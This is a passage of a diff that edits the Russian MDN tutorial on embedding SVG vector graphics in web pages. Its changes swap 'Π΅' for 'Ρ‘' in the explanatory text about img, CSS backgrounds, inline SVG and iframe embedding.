+<p>Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт ΠΊΡ€ΡƒΠ³ ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ:</p>
<pre class="brush: html notranslate">&lt;svg version="1.1"
baseProfile="full"
@@ -75,7 +75,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ прСимущСства SVG:</p>
<ul>
- <li>ВСкст Π² Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ остаСтся ΠΌΠ°ΡˆΠΈΠ½ΠΎΠΏΠΈΡΠ½Ρ‹ΠΌ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ доступным для поисковика,Β Ρ‡Ρ‚ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ {{glossary("SEO")}}).</li>
+ <li>ВСкст Π² Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ остаётся ΠΌΠ°ΡˆΠΈΠ½ΠΎΠΏΠΈΡΠ½Ρ‹ΠΌ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ доступным для поисковика,Β Ρ‡Ρ‚ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ {{glossary("SEO")}}).</li>
<li>SVGΒ Π»Π΅Π³ΠΊΠΎ ΠΏΠΎΠ΄Π΄Π°ΡŽΡ‚ΡΡ стилизации/ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ (scripting), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ стилизован с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS ΠΈΠ»ΠΈ Π·Π°ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript.</li>
</ul>
@@ -99,7 +99,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<h3 id="Быстрый_ΠΏΡƒΡ‚ΡŒ_htmlelementimg">Быстрый ΠΏΡƒΡ‚ΡŒ: {{htmlelement("img")}}</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ SVG ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ {{htmlelement ("img")}}, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ src, ΠΊΠ°ΠΊ ΠΈ слСдовало ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ. Π’Π°ΠΌ понадобится Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>height</code> ΠΈΠ»ΠΈ <code>width</code>Β (ΠΈΠ»ΠΈ ΠΎΠ±Π°, Ссли ваш SVG Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ собствСнного ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ сторон). Если Π²Ρ‹ Π΅Ρ‰Π΅ этого Π½Π΅ Π΄Π΅Π»Π°Π»ΠΈ, поТалуйста, ΠΏΡ€ΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Β <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π² HTML</a>.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ SVG ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ {{htmlelement ("img")}}, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ src, ΠΊΠ°ΠΊ ΠΈ слСдовало ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ. Π’Π°ΠΌ понадобится Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>height</code> ΠΈΠ»ΠΈ <code>width</code>Β (ΠΈΠ»ΠΈ ΠΎΠ±Π°, Ссли ваш SVG Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ собствСнного ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ сторон). Если Π²Ρ‹ Π΅Ρ‰Ρ‘ этого Π½Π΅ Π΄Π΅Π»Π°Π»ΠΈ, поТалуйста, ΠΏΡ€ΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Β <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π² HTML</a>.</p>
<pre class="brush: html notranslate">&lt;img
src="equilateral.svg"
@@ -118,7 +118,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<ul>
<li>Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript.</li>
- <li>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ содСрТимым SVG с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ встроСнныС CSS стили Π² своСм SVG ΠΊΠΎΠ΄Π΅. (Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π° SVG, Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚.)</li>
+ <li>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ содСрТимым SVG с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ встроСнныС CSS стили Π² своём SVG ΠΊΠΎΠ΄Π΅. (Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π° SVG, Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚.)</li>
<li>Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ изобраТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ псСвдоклассов CSS (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>:focus</code>).</li>
</ul>
@@ -128,7 +128,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<pre class="brush: html notranslate">&lt;img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"&gt;</pre>
-<p>Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ SVG Π² качСствС Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ CSS, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ ниТС старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ PNG, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ SVG:</p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ SVG Π² качСствС Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ CSS, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ ниТС старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ PNG, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ SVG:</p>
<pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code>
background<code>-image: url("image.svg");
@@ -140,7 +140,7 @@ background-size: contain;</code></pre>
<h3 id="Как_Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ_SVG_Π²_ваш_HTML_ΠΊΠΎΠ΄">Как Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ SVG Π² ваш HTML ΠΊΠΎΠ΄</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ» SVG Π² тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅, ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄Β ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² ваш HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ β€” Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ΅ΠΌ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ встраиваниСм SVG (<strong>SVG inline</strong> ΠΈΠ»ΠΈ <strong>inlining SVG</strong>). Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ вашСго SVG ΠΊΠΎΠ΄Π° начинаСтся ΠΈ заканчиваСтся с Ρ‚Π΅Π³ΠΎΠ²Β <code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg">&lt;svg&gt;&lt;/svg&gt;</a></code> (Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π½ΠΈΡ‡Π΅Π³ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Π½ΠΈΡ…). Π’ΠΎΡ‚ ΠΎΡ‡Π΅Π½ΡŒ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π² ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ» SVG Π² тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅, ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄Β ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² ваш HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ β€” Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΡ‘ΠΌ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ встраиваниСм SVG (<strong>SVG inline</strong> ΠΈΠ»ΠΈ <strong>inlining SVG</strong>). Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ вашСго SVG ΠΊΠΎΠ΄Π° начинаСтся ΠΈ заканчиваСтся с Ρ‚Π΅Π³ΠΎΠ²Β <code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg">&lt;svg&gt;&lt;/svg&gt;</a></code> (Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π½ΠΈΡ‡Π΅Π³ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Π½ΠΈΡ…). Π’ΠΎΡ‚ ΠΎΡ‡Π΅Π½ΡŒ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π² ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚:</p>
<pre class="brush: html notranslate">&lt;svg width="300" height="200"&gt;
&lt;rect width="100%" height="100%" fill="green" /&gt;
@@ -150,7 +150,7 @@ background-size: contain;</code></pre>
<h4 id="ΠŸΠ»ΡŽΡΡ‹_2">ΠŸΠ»ΡŽΡΡ‹</h4>
<ul>
- <li>Вставка вашСго SVG ΠΏΡƒΡ‚Π΅ΠΌ <strong>SVG inline </strong>позволяСт ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ HTTP запросы ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</li>
+ <li>Вставка вашСго SVG ΠΏΡƒΡ‚Ρ‘ΠΌ <strong>SVG inline </strong>позволяСт ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ HTTP запросы ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</li>
<li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Ρ‚ΡŒΒ <code>class</code>-Ρ‹ ΠΈΒ <code>id</code> элСмСнтам SVG ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ CSS, Π»ΠΈΠ±ΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… SVG, Π»ΠΈΠ±ΠΎ <span class="tlid-translation translation" lang="ru"><span title="">Π²Π½ΡƒΡ‚Ρ€ΠΈ SVG, Π»ΠΈΠ±ΠΎ Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π²Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° стиля CSS для вашСго HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. По Ρ„Π°ΠΊΡ‚Ρƒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ прСдставлСния SVGΒ </a>ΠΊΠ°ΠΊ свойство CSS.</li>
<li><strong>SVG inline </strong>СдинствСнный ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS-взаимодСйствия (ΠΊΠ°ΠΊ <code>:focus</code>) ΠΈ CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π° вашСм SVG ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (Π΄Π°ΠΆΠ΅ Π² вашСй ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй).</li>
<li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ SVG ΠΊΠ°ΠΊ гипСрссылку, ΠΎΠ±Π΅Ρ€Π½ΡƒΠ² Π² элСмСнт {{htmlelement("a")}}.</li>
@@ -178,7 +178,7 @@ background-size: contain;</code></pre>
&lt;img src="triangle.png" alt="Triangle with three unequal sides" /&gt;
&lt;/iframe&gt;</pre>
-<p>Π­Ρ‚ΠΎ - ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π½Π΅ самый Π»ΡƒΡ‡ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ для Π²Ρ‹Π±ΠΎΡ€Π°:</p>
+<p>Π­Ρ‚ΠΎ - ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π½Π΅ самый Π»ΡƒΡ‡ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ для Π²Ρ‹Π±ΠΎΡ€Π°:</p>
<h4 id="ΠœΠΈΠ½ΡƒΡΡ‹_3">ΠœΠΈΠ½ΡƒΡΡ‹</h4>
@@ -189,7 +189,7 @@ background-size: contain;</code></pre>
<h2 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΏΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅_с_SVG">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: ΠΏΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с SVG</h2>
-<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изучСния ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ просто ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π»ΠΈ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ с SVG. НиТС, Π² области <em>Input,</em> Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΡƒΠΆΠ΅ прСдоставили Π½Π΅ΠΊΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ. А Π΅Ρ‰Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒΒ <a href="/en-US/docs/Web/SVG/Element">SVG Element Reference</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΈΠ³Ρ€ΡƒΡˆΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² SVG, ΠΈ Ρ‚ΠΎΠΆΠ΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…. Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ посвящСн ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Π²Π°ΡˆΠΈΡ… ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π½Π°Π²Ρ‹ΠΊΠΎΠ² ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΡŽ.</p>
+<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изучСния ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ просто ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π»ΠΈ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ с SVG. НиТС, Π² области <em>Input,</em> Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΡƒΠΆΠ΅ прСдоставили Π½Π΅ΠΊΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ. А Π΅Ρ‰Ρ‘ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒΒ <a href="/en-US/docs/Web/SVG/Element">SVG Element Reference</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΈΠ³Ρ€ΡƒΡˆΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² SVG, ΠΈ Ρ‚ΠΎΠΆΠ΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…. Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ посвящён ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Π²Π°ΡˆΠΈΡ… ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π½Π°Π²Ρ‹ΠΊΠΎΠ² ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΡŽ.</p>
<p>Если Π’Ρ‹Β Π³Π΄Π΅-Ρ‚ΠΎ застряли ΠΈ ваш ΠΊΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π’Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ сначала, Π½Π°ΠΆΠ°Π² ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <em>Reset</em>.</p>
@@ -324,7 +324,7 @@ textarea.onkeyup = function(){
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ прСдоставила Π²Π°ΠΌ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ ΠΏΠΎ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ вСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ SVG, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ Π½ΠΈΡ… ΠΈ ΠΊΠ°ΠΊ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ SVG Π² Π²Π°ΡˆΡƒ Π²Π΅Π±-страницу. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ являСтся ΠΏΠΎΠ»Π½Ρ‹ΠΌ руководством ΠΏΠΎ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ SVG, Π° всСго лишь ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ, Ρ‡Ρ‚ΠΎΠ± Π²Ρ‹ Π·Π½Π°Π»ΠΈ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ SVG, Π½Π° случай, Ссли Π²Ρ‹ встрСтитС Π΅Π³ΠΎ Π²ΠΎ врСмя странствий ΠΏΠΎ 